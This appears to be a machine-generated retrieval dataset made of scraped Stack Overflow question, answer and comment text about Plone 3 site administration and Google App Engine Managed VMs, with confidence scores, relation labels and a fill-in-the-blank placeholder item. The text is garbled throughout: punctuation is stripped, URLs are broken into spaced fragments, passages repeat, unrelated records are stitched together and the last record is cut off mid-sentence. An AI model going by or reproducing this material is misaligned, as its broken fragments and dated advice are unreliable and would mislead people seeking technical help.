svn plone plone.app.portlets trunk plone app portlets metadirectives.py .. . .. . here you can find an example : .. . .. . http : svn.plone.org svn plone plone.portlet.collection trunk plone portlet collection configure.zcml .. . .. . edit : unfortunately I have to amend my answer...the purpose of view permission should be to restrict the portlet to users with a specific permission .", "See the last post here for two possibilities : http : plone.293351.n2.nabble.com Folder-constraints-not-applicable-to-custom-content-types-td6073100.html", "and have you seen plone.org products plone-captchas http : plone.org products plone-captchas and stackoverflow.com questions 8897730 http : stackoverflow.com questions 8897730 how-do-i-add-extra-fields-custom-captcha-to-the-registration-form-in-plone-4-1", "I have a Plone site Plone version 3.1.2 that I need to install a product called GrufSpaces on - http : plone.org products grufspaces .", "The idea being once its added I can restart Plone Zope and it will automatically pick it up and make it available within Plone as a Python Module .", "From there : .. . .. . Unpack it into your Zope Products Folder .. . .. . For Plone the easiest way is probably to unpack it the top level products folder .", "i have tried comparing the scraped active pages with the plone pages but in plone many of the links have an extra home image etc appended at the end which makes our task imposible for a huge site .", "Version and installation profile numbering for Plone add-ons has been changing and this is very confusing .", "The Plone Default skin should look something like this : .. . .. . If you are missing any of those you ll need to add them in .", "Summary : .. . .. . Plone 3.3.4 .. . Products.PloneGetPaid 0.8.8 .. . ore.viewlet 0.2.1 .. . .. . I am trying to override a viewlet class that inherits from ore.viewlet.core.FormViewlet .", "Via that high low logic you could say portal groups is better because it s managed by Plone .", "Are there available events http : plone.org documentation manual plone-community-developer-documentation events-and-rules events to this action", "For those who may not be familiar with events in Plone could you please add a bit more detail", "iam using Plone4.3 i was working with the Plone themes.i changed the theme and restarted the Plonectl but suddenly i got this error", "See : http : plone.293351.n2.nabble.com Error-running-zeoserver-No-module-named-interface-td4634787.html", "Here a template named plone is available : .. . .. . To see all available template-names of zopeskel do : .. . .. . 3 .", "I would like to get a repeatable documented installation process before figuring out what to do with the codebase and most of the accessible examples are for Plone 4.x", "You just have to restart plone when you re done editing the file .", "packages to plone directory Zope lib python should work .", "Although upgrading your Plone is probably still good advice .", "identical Plone sites in ZEXP files but generally I d steer clear .", "I m on Plone 3.3.5 and I m writing some test for my package .", "Nifty ways to generate a Plone-addon-bloilerplate four of them explained : .. . .. . 1 .", "I suspect this is not a Plone problem but something with the installation of picamera on your machine .", "As has been noted already Plone 3.x already includes a robots.txt file so the preferred solution now is probably NOT to create a new robots.txt in the ZMI but rather to customize the included one .", "I m trying to migrate an old Plone 3.3 site that uses FileSystemStorage https : plone.org products filesystemstorage using Mikko s Simple JSON export script https : opensourcehacker.com 2013 01 04 exporting-plone-content-as-json .", "For example http : mysite.com plone page my-template .. . in your javascript use a url that in the ajax call : .ajax url : http : mysite.com plone page my-template success : function data content .append data .. . .. . It s not really anything special to do ajax within plone--just use the tools available and piece it together .", "Some basic info .. . .. . I have a Plone 3.2.1 site which has a sub folder named prod .", "Edit 1 .. . .. . I was on the Plone chat room and someone suggested I look into ObjectAddedEvent http : nullege.com codes search zope.lifecycleevent.ObjectAddedEvent .", "I ve got a Plone site that I administer and I d like to add some pages to the Disallow of a robots.txt .", "This should remove some unwanted not-found-errors and give fresh Plone-admins something to customise for robots if they want it .", "You can check this by turning Plone debug level to DEBUG default is info and put logging output to the event handlers .", "You ll lose all of the Plone TTW integration but if you can build and compile your themes by hand you re all set .", "Plone handles the scaling all Kupu has to do is show you what size options you have ." ] }
{ "confidence": [ 56.42256164550781, 56.3243408203125, 55.660972595214844, 54.690826416015625, 53.98687744140625, 52.18518829345703, 52.101951599121094, 51.43910217285156, 51.32682800292969, 50.386199951171875, 50.28440856933594, 49.69562530517578, 49.037841796875, 48.27299880981445, 48.041412353515625, 48.024314880371094, 47.649330139160156, 47.63795471191406, 47.301239013671875, 46.89099884033203 ], "content": [ "Question : In this link http : plone.org documentation how-to set-default-datetimefield-current-date-time it describes how to do this with new Schema attributes . I could update all umpteen content types in our system use this method but I would prefer something a bit less work intensive since if I have to change umpteen content types it will be all too easy to make a mistake . .. . Answer : You could use archetypes.schemaextender to modify those types with an adapter : .. . .. . in your configure.zcml .. . .. . in the adapters.py Comment : How would that work against many 50+ Plone 2.5 content types running in Plone 3.x Would I have to modify all of the many content types Because that is what I would prefer not to do . Comment : If all the types had a common interface or subclass ATCTMixin for example then you would just need to extend that once . Then all the types get the addition for free . You can also tag all those types with an interface via zcml if it came down to it . Then extend via that interface . Comment : This would be a great fix but we don t have a common interface or subclass .", "Question : I ve got a Plone site that I administer and I d like to add some pages to the Disallow of a robots.txt . It appears that Plone automatically generates a robots.txt file . I can t find any way to modify that . I ve also tried adding a robots.txt file to the root of the app but it says that robots.txt is reserved .. . .. . Does anyone know how to modify this with Plone v3 .. . Answer : 1 . Create a robots.txt on your desktop .. . 2 . Go in the xmi of the plone site - add a new file - call it robot.txt .. . 3 . Choose it from the desktop .. . .. . source : http : plone.org support forums general nabble-td329779 Comment : Yeah I tried that as noted above but it comes back with an error of robots.txt is reserved . The post mentioned above is from 2007 which is perhaps for Plone 2.x . I believe Plone 3.x added robots.txt functionality See the 3.0-alpha2 release notes plone.org products plone releases 3.0 http : plone.org products plone releases 3.0 Added robots.txt file . This should remove some unwanted not-found-errors and give fresh Plone-admins something to customise for robots if they want it . Comment : Nevermind . The steps listed didn t work for me but the link provided did indeed contain the answer : in ZMI add a DTMLDocument object call it robots.txt and add your statements . Comment : This is long out of date . Use newbery s suggestions .", "Question : I have a folder backup of a plone 3 instance and I want to run it in a VirtualBox with Debian 5 . I installed a fresh plone 3.3.5 into usr local Plone as root with the unified installer and I can start it with . bin plonectl start . So what are the next steps The folder structure of the backup looks like : .. . .. . The original of this backup used varnish and a lot of instances but I only want to restore it with a minimal setup without this stuff . Comment : The answer to this depends on how your old buildout is done are you using released add-ons have you some development activated products are you using mr.developer or what . Enhance you question with your buildout.cfg file or with all your .cfg files sources . Comment : Yes released add-ons are used . .. . Answer : Was your previous Plone 3.x version 3.2 or later If so both old and new use buildout for configuration-management . If so the general plan is : .. . .. . 1 Copy the eggs develop zcml and versions directives from old to new . Copy the src and products directory from old to new . 2 Run buildout . Resolve problems that occur . 3 Start your new Plone and see if it functions . Resolve problems . 4 Stop you new Plone and restore the Data.fs file from the old system to overwrite the new Data.fs under var . Resolve problems . The resolve problems notes may be insignificant or non-existent if old and new versions are the same . If they aren t you may need to update some add-on package version . If you re updating from 3.2 see the guide for updating from non-buildout systems http : docs.plone.org manage upgrading non buildout to buildout upgrade.html . Comment : Thanks for your answer . The version was 3.3.5 Comment : Please accept it as the correct answer", "Question : We have a VERY high traffic site on a Plone 3 installation that is currently struggling under the load . We have scaled the server many times over and its now apparent this is not the bottle neck . Is it possible to setup a Zeo clustering server with Plone 3 Comment : There is zc.zrs https : pypi.python.org pypi zc.zrs which does master-slave replication of databases . It already existed around the time of Plone 3 but was commercial then . It might be worth investigating if you can run recent versions with older Zope clients . Comment : Otherwise you should consider RelStorage community.plone.org t relstorage-still-used 1992 https : community.plone.org t relstorage-still-used 1992 Comment : I didn t get if you are already using a separated zeoserver or not . As Ulrich said zc.zrs can be a really good option but you can also investigating if you have bottlenecks : for example Plone 3 were not using BLOB for files by default and installing plone.app.blob can raise performance a lot Comment : No the site is on Zope as I m aware apologies not a plone dev . I was planning on booting a Zeo cluster through Docker or such . Just wondering if it was compatible with Plone 3.x.x . Although the zc.zrs sounds interesting.. . master-slave will alleviate it though is there a master-master option Comment : If you are not using a zeoserver this is the first thing to do.. . zeoclient+zeoserver is working on Plone 3 and older . Please try to check your configuration .. . Answer : The simple answer is : yes of course . If you re using Plone 3.1 you do it pretty much the same way you set up a cluster in Plone 4 or 5 . Will it solve your problem If your problem is that you re not making good use of all the cores on a multi-core machine a zeocluster is a good way to solve it . The threading in a single Zope instance is very inefficient . A cluster does much better . At the same time you should look to see if you can reduce the work done by your Zope instances . Having a proxy cache and a good caching setup is the key . And spend some time updating to Plone 4.x . It s faster out-of-the-box at rendering pages and has a much more efficient blob-handling system . You ll also find that the documentation for Plone 4.x is excellent including that on scaling . If you can t do that track down a copy of Practical Plone 3 for documentation on cluster architecture and caching . Comment : +100 on this . @AndrewMcLagan There are huge wins to be made by making sure you have enough zeoclients to fully utilise the number of processor cores showing us a quick ps -ef grep python will enable us to tell you and then employing caching technologies blobstorage seriously investigate upgrading to Plone 4 even if you need to get paid help . If you don t do that then employing Docker Relstorage zc.zrs are all approaching from the wrong angle IMO .", "Question : Is there a repeatable way of generating older sample Plone buildouts Specifically I m looking for buildout format that s been used for the releases before Plone 3.2 as it was the first release that shipped with buildout by default . I know there are buildouts out there for Plone 3.x but googling for the didn t help me . I m trying to convert a Plone 3.0.4 project instance that s been set up with unified installer into buildout . I would like to get a repeatable documented installation process before figuring out what to do with the codebase and most of the accessible examples are for Plone 4.x .. . Answer : Use Plock Pins http : plock.github.io : .. . .. . https : github.com plock pins blob master plone-3-1 .. . https : github.com plock pins blob master plone-3-0 .. . https : github.com plock pins blob master plone-2-5 .. . https : github.com plock pins blob master plone-2-1 .. . https : github.com plock pins blob master plone-2-0 .. . https : github.com plock pins blob master plone-1-1 .. . .. . E.g . : Comment : I tried using that for plone-3-0 but at this time it seems to be pulling Plone 5 and related eggs such as Zope2 there is no Plone egg for pre-3.2 releases I think there s a version pin is missing somewhere . gist.github.com avolkov 674c9663374b79128297 https : gist.github.com avolkov 674c9663374b79128297", "Question : I d like advice on the best approach to deploying Diazo to work with Plone 3 . I know that plone.app.theming is out of the question for versions less than Plone 4.1 but we can t upgrade to Plone 4 yet as we need to port some code to Plone 4.x first but we d like to benefit from the theming infrastructure of Diazo . .. . Answer : You can also run Diazo via any of the non-Plone deployment methods listed at http : docs.diazo.org en latest deployment.html . You ll lose all of the Plone TTW integration but if you can build and compile your themes by hand you re all set . Comment : Thanks Jon I think using diazo compiler + mod xslt is the best bet for me on this project . Comment : Yep that sounds like a very sensible way to go . I d much rather do that than try to backport features into older versions of XDV .", "Question : I have a problem that when I enter users and groups page and I press show all it will show nothing or just a few members within one page instead of showing 20 members in a page like before why is that Recently I have set plone captcha to prevent robot registration is this setting has anything to do with my problem Comment : You see the batching pagination Maybe you see also other pages with less than 20 members or totally empty Comment : I went through every page and I found that some pages only show several members and some show absolutely nothing...why is that exactly .. . Answer : Is an old problem of Plone 3 user and group handling . If you look at the site log when accessing the view you ll probably see something like Skipped user without principal object .. . . It mean that the portal memberdata tool contains some old user data that are not referring to real users : probably you changed something in the user and groups management like removing a source of users . Unluckily Plone 3 do not offer a way to fix this in a simple way . On Plone 4 the portal memberdata from ZMI offer a way to cleanup things . This is not blocking your site from working normally and is not a critical problem although I understand is annoying Comment : Thank you for answering . I went to portal memberdata and click view I saw nothing but the home page of my website...it did not show any other messages...why Can you please tell me how to fix this Since I have to go through all member pages to see if there are new members everyday this is really annoying . Comment : No I meant when you go to the Plone ui for handling users and groups and you perform a search . At this point try to look at the server instance log . Comment : I m sorry but could you tell me that where can I see server instance log Comment : It depends on you Plone installazione . Commonly is a file called instance.log or very similar name inside the var log directory of your installation . Comment : Thanks . Is there any solution to this situation Please do tell me", "Question : I d like advice on the best approach to deploying Diazo to work with Plone 3 . I know that plone.app.theming is out of the question for versions less than Plone 4.1 but we can t upgrade to Plone 4 yet as we need to port some code to Plone 4.x first but we d like to benefit from the theming infrastructure of Diazo . .. . Answer : plone.app.theming requires Plone 4.1 . You may be able to use its predecessor collective.xdv . collective.xdv Installation documentation http : pypi.python.org pypi collective.xdv installation Comment : With collective.xdv do I lose some of the newer stuff like the before after and css : theme-children rules Comment : You do . As xdv is just an older version of diazo you could probably retrofit diazo into collective.xdv without too much effort . Comment : I think the diazo compiler + mod xslt is the best bet in this case . Aiming at the most pragmatic approach .", "Question : I have a Plone site Plone version 3.1.2 that I need to install a product called GrufSpaces on - http : plone.org products grufspaces . However it is a production site and so I can t easily take it down to upgrade Plone to 3.2+ in order to use buildout using buildout would allow me to easily add Grufspaces collective.groupspace.roles etc as a Product . I have downloaded the egg files separately roles workflow mail content and placed them in a directory structure like so : .. . .. . collective .. . init .py .. . groupspace .. . init .py .. . content .. . .. . roles .. . .. . workflow .. . mail .. . .. . .. . What I thought I could do is add this collective folder to plone directory Zope lib python as a Python module . The idea being once its added I can restart Plone Zope and it will automatically pick it up and make it available within Plone as a Python Module . Unfortunately it has not worked as of yet . If I am going about this the wrong way I welcome any suggestion to try this a different way . .. . Answer : Did you check GrufSpaces INSTALL.TXT From there : .. . .. . Unpack it into your Zope Products Folder .. . .. . For Plone the easiest way is probably to unpack it the top level products folder . See also http : plone.org documentation kb third-party-products installing section Installing Zope 2-style Products Without Buildout .", "Question : I ve got a Plone site that I administer and I d like to add some pages to the Disallow of a robots.txt . It appears that Plone automatically generates a robots.txt file . I can t find any way to modify that . I ve also tried adding a robots.txt file to the root of the app but it says that robots.txt is reserved .. . .. . Does anyone know how to modify this with Plone v3 .. . Answer : As has been noted already Plone 3.x already includes a robots.txt file so the preferred solution now is probably NOT to create a new robots.txt in the ZMI but rather to customize the included one . Using the ZMI go to portal skins plone templates and find the robots.txt file . Customize as you would any other skin element . Or using the filesystem just add your robots.txt file to a custom skin product .", "Question : null .. . Answer : Recently I have upgraded a plone 3 website to plone 4.3 website . At myhost projectname membrane tool manage catalogAdvanced I have tried clear and rebuild also tried update catalog . But they are generating same error as .. . .. . Any help will be highly appreciated . Thanks in advance . Comment : Did you mean portal catalog instead of membrane tool by any chance Refs : plone.293351.n2.nabble.com AttributeError-clear-td6309315.html http : plone.293351.n2.nabble.com AttributeError-clear-td6309315.html and plone.293351.n2.nabble.com http : plone.293351.n2.nabble.com Plone4-upgrade-and-unsorted-quot-recently-modified-quot-td6353366.html Comment : Thanks for your response but it s under membrane tool Comment : is there an update for membrane required for plone 4.3 that you need to install Comment : no . But it is solved after using GET method instead POST in an .pt file . But still don t know why this error appears and gone after using GET instead post . Any ideas", "Question : Is there a repeatable way of generating older sample Plone buildouts Specifically I m looking for buildout format that s been used for the releases before Plone 3.2 as it was the first release that shipped with buildout by default . I know there are buildouts out there for Plone 3.x but googling for the didn t help me . I m trying to convert a Plone 3.0.4 project instance that s been set up with unified installer into buildout . I would like to get a repeatable documented installation process before figuring out what to do with the codebase and most of the accessible examples are for Plone 4.x .. . Answer : This is a basic template produced by paster create -t plone3 buildout old ZopeSkel 3.0 . I used Plone version 3.1 below you must adjust it with your version ...or simply : use ZopeSkel as I did . The core is the plone.recipe.plone recipe used for old Plone . Comment : Installing ZopeSkel 2.21.2 in Python 2.4 virtualenv then running plone3 buildout template generates exactly what I need . Thanks Comment : Do you do anything special in order to pin setuptools to the version that supports Python 2.4 whenever I run buldout generated with plone3 buildout it tries to go and fetch setuptools 14.3.1 Comment : Never mind pinning correct version of setuptoos under versions seems to work . Comment : @AlexVolkov so which version you used Reporting this here will make this QA more useful for future reference Comment : I used version 1.4.2 like this -- gist.github.com avolkov 1e13944949c1b802bfd7 https : gist.github.com avolkov 1e13944949c1b802bfd7 I also had to run a custom bootstrap command -- python bootstrap.py --distribute -c buildout.cfg description is here -- github.com thet buildout-base blob master README.rst https : github.com thet buildout-base blob master README.rst . I used Plock Pins as buildout config examples that @aclark posted below .", "Question : Some basic info .. . .. . I have a Plone 3.2.1 site which has a sub folder named prod . There is also a PloneFormGen form named upload which has a custom script adapter that creates a custom content-type slight modification of the Collection type and places it in the aforementioned prod folder . The prod folder has a content rule configured which has the following conditions : .. . .. . Type My Custom Type .. . State Private .. . .. . If those conditions are met it will send me an email saying there is a new content-type awaiting my review . The issue .. . .. . When using a custom script adapter to create content types it seems the content rules are bypassed or ignored . Of course manually creating a My Custom Type via the Add new.. . menu executes the rule as expected . My thoughts .. . .. . As far as I can see I only have 3 options .. . .. . 1 . install uwosh.pfg.d2c https : pypi.python.org pypi uwosh.pfg.d2c .. . This would be ideal but seems to break my installation client1 refuses to load after this is added to buildout it complains about a permission issue it also seems to cause the same issue on a vanilla Plone 4.3 install .. . 2 . Write something in my script that can talk to Plone s mailhost and send a custom email .. . 3 . Find a way to execute a content rule in my script .. . .. . Number 3 on this list is where I want to go although I can t find much information on it leading me to think it might be quite complicated . Question summary .. . .. . Is it possible to execute an already existing content rule using a PloneFormGen custom script adapter If it is possible does anyone have documentation or an example of it Script Adapter script if you need to see it : .. . .. . I am still working on this so the question may be modified as I progress through this issue . Although any help or insight would be greatly appreciated . Edit 1 .. . .. . I was on the Plone chat room and someone suggested I look into ObjectAddedEvent http : nullege.com codes search zope.lifecycleevent.ObjectAddedEvent . This is probably what I am looking for although I am unable to import those modules via a custom script adapter and would like to avoid having to write a script that resides on the file system . .. . Answer : https : pypi.python.org pypi uwosh.pfg.d2c 2.4.1 was just released and should fix the permission issue you described . Comment : pfg.d2c is a really good way to go here . Bonus points : upgrade to a current Plone version or at least to 3.3.5 . : -", "Question : I m working on a website which has been developed in plone . Now I m facing an issue I would like to load certain content from a template via an ajax call on normal Plone page on some event trigger . Do I need to create any python script If yes where has it to be placed and moreover how do I integrate it with TAL I guess that would be needed but I m not sure how . Could anyone guide me on this with necessary pointers docs that I should look into It would of great help to come over my issue and get things rolling . Thanks Avinash .. . Answer : In the Plone Developer Documentation http : developer.plone.org there s a section for Javascripting in Plone http : developer.plone.org templates css and javascripts javascript.html that perfectly fits your needs", "Question : I ve seen that I can do pretty much the same with them about creating and editing groups : but when I change a group title not id programatically the title I changed is only shown on prefs groups overview and at Plone acl users source groups manage workspace when I use ZODBGroupManager.updateGroup to change it : using portal groups.editGroup it changes the title but isn t reflected on those two urls I provided . Which should I use Are there any problems using portal groups to add groups and ZODBGroupManager to edit it s titles since ZODBGroupManager is the only one that changes the titles in the urls above Will I have problems using both of them I m using Plone 3.3.5 . This bug has been fixed http : dev.plone.org plone ticket 7277 on 4.X . prefs groups overview but I would like to know if there are problems using ZODBGroupManager since I m stuck with 3.3.5 . .. . Answer : One is a PAS plugin ZODBGroupManager that ships with PAS the Pluggable Auth service http : pypi.python.org pypi Products.PluggableAuthService 1.7.5 . The other is a portal tool portal groups that ships with PlonePAS http : pypi.python.org pypi Products.PlonePAS 4.0.8 a collection of code and PAS plugins that are Plone-specific . You can think of portal groups as higher up and ZODBGroupManager as lower down in the software stack if that helps because the former is a portal tool that has a UI representation in Plone whereas the latter does not . Via that high low logic you could say portal groups is better because it s managed by Plone . But I would personally use either or however you see fit and not worry too much about problems . Comment : I m just going to use both .", "Question : I have a Plone site Plone version 3.1.2 that I need to install a product called GrufSpaces on - http : plone.org products grufspaces . However it is a production site and so I can t easily take it down to upgrade Plone to 3.2+ in order to use buildout using buildout would allow me to easily add Grufspaces collective.groupspace.roles etc as a Product . I have downloaded the egg files separately roles workflow mail content and placed them in a directory structure like so : .. . .. . collective .. . init .py .. . groupspace .. . init .py .. . content .. . .. . roles .. . .. . workflow .. . mail .. . .. . .. . What I thought I could do is add this collective folder to plone directory Zope lib python as a Python module . The idea being once its added I can restart Plone Zope and it will automatically pick it up and make it available within Plone as a Python Module . Unfortunately it has not worked as of yet . If I am going about this the wrong way I welcome any suggestion to try this a different way . .. . Answer : No advice specific to GruffSpaces as I ve never used it but it sounds like you may be under the mistaken impression that you need Plone 3.2+ for buildout . This is incorrect . Buildout works just fine with Plone 3.1.2 . I ve also done buildouts for Plone 2.5.5 and even one for Plone 2.1 although this last one was a bit tricky because the required python for that version doesn t do buildout . So if you prefer the buildout route just do it . Although upgrading your Plone is probably still good advice .", "Question : I have a Plone site Plone version 3.1.2 that I need to install a product called GrufSpaces on - http : plone.org products grufspaces . However it is a production site and so I can t easily take it down to upgrade Plone to 3.2+ in order to use buildout using buildout would allow me to easily add Grufspaces collective.groupspace.roles etc as a Product . I have downloaded the egg files separately roles workflow mail content and placed them in a directory structure like so : .. . .. . collective .. . init .py .. . groupspace .. . init .py .. . content .. . .. . roles .. . .. . workflow .. . mail .. . .. . .. . What I thought I could do is add this collective folder to plone directory Zope lib python as a Python module . The idea being once its added I can restart Plone Zope and it will automatically pick it up and make it available within Plone as a Python Module . Unfortunately it has not worked as of yet . If I am going about this the wrong way I welcome any suggestion to try this a different way . .. . Answer : If you are trying to install GrufSpaces 2.0 then you should consider upgrading to Plone 3.3 see the install requirements https : svn.plone.org svn collective GrufSpaces tags v2 0 INSTALL.txt .. . .. . Placing the collective . packages to plone directory Zope lib python should work . But these packages are not compatible with Plone 3.1 . Here is the example of ImportError that I get when using collective.groupspace.roles with Plone 3.1 : .. . .. . Besides collective . packages you have to download GrufSpaces product from SVN https : svn.plone.org svn collective GrufSpaces tags v2 0 download link at plone.org doesn t work for me and place it in Products folder .", "Question : We currently use Plone 3 for our training website and want to add a blog . Is this something that we can change or do we have to pay to add this function Comment : Stock plone can do blogging pretty well also . Just create a collection with reverse order sorting on creation date of your news items set the collection to the default view item for the root of the site turn off syndication and you re good to go . .. . Answer : http : pypi.python.org pypi collective.blog.star was the best solution last time I had this need . Should work with Plone 3 and 4 .", "Question : In browser : page on Plone I have a permission attribute . I can add a custom permission in there and have better security when the browser view is rendered . Just adding the permission attribute it works : trying to do @@my view it asks for login . Now let s go to the portlets : portlets have a view permission that I thought it would do the same http : www.packtpub.com article creating-customizing-and-assigning-portlets-automatically-plone-33 or at least just wouldn t render the portlet if the user didn t have the permission - but none of these situations happen . The portlet is rendered ignoring the view permission thus I still need to use the available portlet property http : readthedocs.org docs collective-docs en latest portlets tips.html available-property to accomplish what I want It seems I m not the only one doing this approach https : weblion.psu.edu trac weblion changeset new 10080@studentClubs multi clubspace.clubwebmasters old 9805@studentClubs multi clubspace.clubwebmasters . So what view permission is for I can t find the docs for it . It seems I would be able to use it like permission like browser views but it seems I can t.. . Comment : I m not sure in which context the view permission is checked : on the context that the user is now viewing or on the context where the portlet is defined . I d guess the first . Maybe that explains what you are seeing Just a hunch . Comment : maurits I was thinking exactly about that but if it was the first I would be seeing the portlet not the other way round . I think grep is going to be my answer soon.. . : .. . Answer : the purpose of view permission is to restrict the portlet to users with a specific permission...as it says here : .. . .. . http : svn.plone.org svn plone plone.app.portlets trunk plone app portlets metadirectives.py .. . .. . here you can find an example : .. . .. . http : svn.plone.org svn plone plone.portlet.collection trunk plone portlet collection configure.zcml .. . .. . edit : unfortunately I have to amend my answer...the purpose of view permission should be to restrict the portlet to users with a specific permission . But it s not yet honored as you can see here : .. . .. . http : svn.plone.org svn plone plone.app.portlets trunk plone app portlets browser templates column.pt .. . http : svn.plone.org svn plone plone.app.portlets trunk plone app portlets metaconfigure.py .. . .. . Thanks to the comment of Ulrich Schwarz that pushed me to double check . Comment : Is that permission actually obeyed now Last time I checked 4.0.4 or so you could trace the flow for view permission up to a comment that said more-or-less no we don t .", "Question : I m working on a website which has been developed in plone . Now I m facing an issue I would like to load certain content from a template via an ajax call on normal Plone page on some event trigger . Do I need to create any python script If yes where has it to be placed and moreover how do I integrate it with TAL I guess that would be needed but I m not sure how . Could anyone guide me on this with necessary pointers docs that I should look into It would of great help to come over my issue and get things rolling . Thanks Avinash .. . Answer : Your question is a bit vague : .. . .. . From your question it seems that you just want your ajax call to return html to populate data on the page somewhere then Also it sounds like you want to do the development TTW in the ZMI Most developers would would use an add-on product and return your ajax response . However you can do it TTW with page templates just fine . Create the new page template .. . populate it with the template code that gives you the desired output when called within the context of content on a site . For example http : mysite.com plone page my-template .. . in your javascript use a url that in the ajax call : .ajax url : http : mysite.com plone page my-template success : function data content .append data .. . .. . It s not really anything special to do ajax within plone--just use the tools available and piece it together ." ] }
[ "yes-answer-long", "yes-answer-short" ]
zope
UNK_RELATION
google-managed-vm@google-compute-engine@121
google-managed-vm -- google-app-engine flexible environments let you run google-app-engine applications on configurable @placeholder vms .
{ "confidence": [ 66.79621887207031, 66.47794342041016, 66.47794342041016, 63.151771545410156, 62.847537994384766, 59.95433807373047, 59.88442611694336, 58.722389221191406, 55.584354400634766, 54.171897888183594, 53.44405746459961, 52.908992767333984, 51.9360466003418, 51.026187896728516, 50.36277389526367, 49.58281707763672, 49.30476379394531, 48.719139099121094, 48.719139099121094, 48.43228530883789, 48.248905181884766, 48.178897857666016, 47.9729118347168, 47.9729118347168, 47.64225387573242, 47.56768798828125, 47.546627044677734, 47.03825759887695, 46.85597610473633, 46.438480377197266, 45.1245231628418, 45.10760498046875, 45.0467643737793, 44.072261810302734, 43.90256118774414, 43.814762115478516, 43.77235412597656, 43.53108596801758, 43.49703598022461, 43.431968688964844, 43.431968688964844, 42.88666534423828, 42.620460510253906, 42.54088592529297, 42.49436569213867, 41.82783508300781, 41.800533294677734, 41.49091720581055, 41.33673858642578, 40.844886779785156, 40.105796813964844, 39.425601959228516, 39.29820251464844, 38.8617057800293, 38.8617057800293, 38.844932556152344, 38.844932556152344, 38.74597930908203, 38.51193618774414, 38.51193618774414, 38.495887756347656, 38.42058563232422, 38.18351364135742, 37.737178802490234, 37.35737228393555, 37.32011413574219, 37.24549865722656, 37.10240936279297, 36.97520065307617, 36.53754806518555, 36.4515495300293, 36.139442443847656, 36.092628479003906, 36.02253723144531, 35.92512512207031, 35.81663513183594, 35.761192321777344, 35.62083435058594, 35.62083435058594, 35.53553009033203, 35.53553009033203, 35.50786590576172, 35.303794860839844, 35.13597869873047, 35.13597869873047, 34.80459976196289, 34.68318176269531, 34.679954528808594, 34.59089660644531, 34.40395736694336, 34.40395736694336, 34.36228942871094, 34.09114074707031, 34.07387161254883, 34.01011276245117, 33.98808670043945, 33.65338134765625, 33.570377349853516, 33.5225715637207 ], "content": [ "I am writing files to Google app engine managed vm flexible environment .", "I m using Google App Engine Managed VMs to develop a nodeJS application using web sockets .", "I am unable to permanently delete Google App Engine managed VMs I ve created .", "We re currently running on App Engine Java and want to test the new managed VMs that Google are beta-testing .", "Is it possible to connect to Google Cloud Datastore from Google App Engine Custom Managed VM for Java", "I deployed a small servlet to a managed VM on App Engine that creates a zip archive with files from Google Cloud Storage .", "Since Managed VMs work in a different way as Compute Engine VMs it s probably trickier for Google to wire up Appstats Cloud Trace to apps .", "PROBLEM DESCRIPTION .. . .. . I am trying to create a custom managed VM for Google App Engine that behaves identically to the standard python27 managed VM provided by Google .", "We are plannig deploy our app on google cloud managed VM .", "From my experience with nodejs using Google Cloud App Engine I see that Timed out creating VMs is neither a traditional timeout nor does it have to do with creating VMs .", "They need to be created at instance creation time for Google Compute instances which Managed VMs are creating behind the scenes .", "I am working with socketIO + Nodejs over gcloud app-engine with managed vms .", "https : cloud.google.com appengine docs managed-vms java using-cloud-sql states : .. . .. . 4 : In the console grant your App Engine application access to the Google Cloud SQL instance .", "On App Engine flexible new name for Managed VMs your code could be scaled across many container so there s no promise that a file you write to one will be accessible later .", "I m using Google Managed VMs so the execution of the docker command is managed by them .", "for Java on App engine for Managed VMs Java 8 and facing the below listed error while running mvn gcloud : deploy .", "Trying to deploy a Java app to Google Appengine Managed VM .", "There is a difference between App Engine logging and Google Cloud logging .", "You ll have to deploy the application to App Engine .. . .. . Google does not care to : .. . .. . 1 .", "We re using Managed VMs and can currently serve files from the local disk in the VM which is a standard magnetic HD as well as serving from Google Cloud Storage which is also backed by magnetic HDs .", "On Google App Engine there are multiple ways a request can start : a web request a cron job a taskqueue and probably others as well .", "Is it possible to run a Google Standard Managed VM for Java locally for development purposes", "I ve previously had keep-alive issues with Managed VMs specifically but Google has indicated it should be fixed .", "I wanted to update this post with some of my solutions to deploying with versions and deleting instances on Google Compute Engine s managed VMs .", "Is it possible to use Local SSD storage with Managed VMs", "Or are the cron jobs not supported on managed VMs", "I am having trouble with using Push Queues on Google App Engine s Flexible Environment formally named their Managed VM Environment .", "You may need to use full Compute Engine instances instead of Managed VMs as a workaround .", "I have the same issue with NodejS and App Engine Flexible environment .", "Standard Managed VMs .. . .. . From Using the Java Managed VM Environment https : cloud.google.com appengine docs java managed-vms : .. . .. . The Java runtime is available as a Managed VM standard runtime .", "The min idle instances and min pending latency fields are not supported by Managed VMs .", "Solution : I got around this by downloading the entire Google App Engine package hierarchy and placing it on the path of the app .", "In Google Cloud Console http : console.cloud.google.com under App Engine - Versions select the default version of your managed VM application and use STOP button to turn it off .", "Have you considered either looking deeper into the documentation and playing around with Managed VMs or simply sending your socket connections to a pool of Compute Engine VMs which are perfectly suited to handling such connections", "The guide at https : cloud.google.com php assumes you re using App Engine Flexible .", "There is any way to download a file from google managed VM docker", "custom managed VMs : .. . .. . THEY CANNOT BE RUN ON THE DEVELOPMENT SERVER", "cloud.google.com appengine docs managed-vms https : cloud.google.com appengine docs managed-vms custom-runtimes accessing cloud platform services", "@ZacharyNewman was able to help me with this problem http : stackoverflow.com questions 31484826 how-to-stop-creating-extra-instances-when-using-google-managed-vms .", "Uploading as a non-Managed VM normal App Engine sandbox works just fine .", "From the admin console go to Compute - App Engine - Versions and delete the version no longer needed for the managed vm .", "I have been running through the hello world application for node.js with managed vms on google-compute-engine and I have just done this stage .. . .. . gcloud preview app deploy app.yaml --promote .. . .. . Which has allowed me to put up the app and it works .", "Based on Google s recommendation the requirement to watch Firebase at all times I deployed managed VM node app instead of just app engine .", "https : cloud.google.com appengine docs managed-vms .. . .. . As we re working with large-files high-res geo images in a latency-sensitive context we d like to be able to use Local SSDs with our Managed VMs app it s okay that the data is not persistent it just needs to be fast and work with large-files .", "The same code works fine in App Engine instance but when deployed to a managed VM the client gets 502 Bad gateway response .", "Currently Managed VMs support these services : .. . .. . Datastore .. . Logging .. . Memcache .. . Search .. . Task Queue .. . URL Fetch .. . Users .. . .. . Managed VM with Custom Runtime .. . .. . From Building Custom Runtimes : Accessing Cloud Platform services https : cloud.google.com appengine docs managed-vms custom-runtimes accessing cloud platform services : .. . .. . Runtimes in Managed VMs can access any Google or third party services via standard APIs .", "Sources of trouble .. . .. . First I found the python environment run in the Compute Engine VMs to be a bit more lenient than a normal VM environment e.g .", "This does not run your code on a VM rather runs in the App Engine standard sandbox .", "Just migrated to app engine flexible env for a java app which was 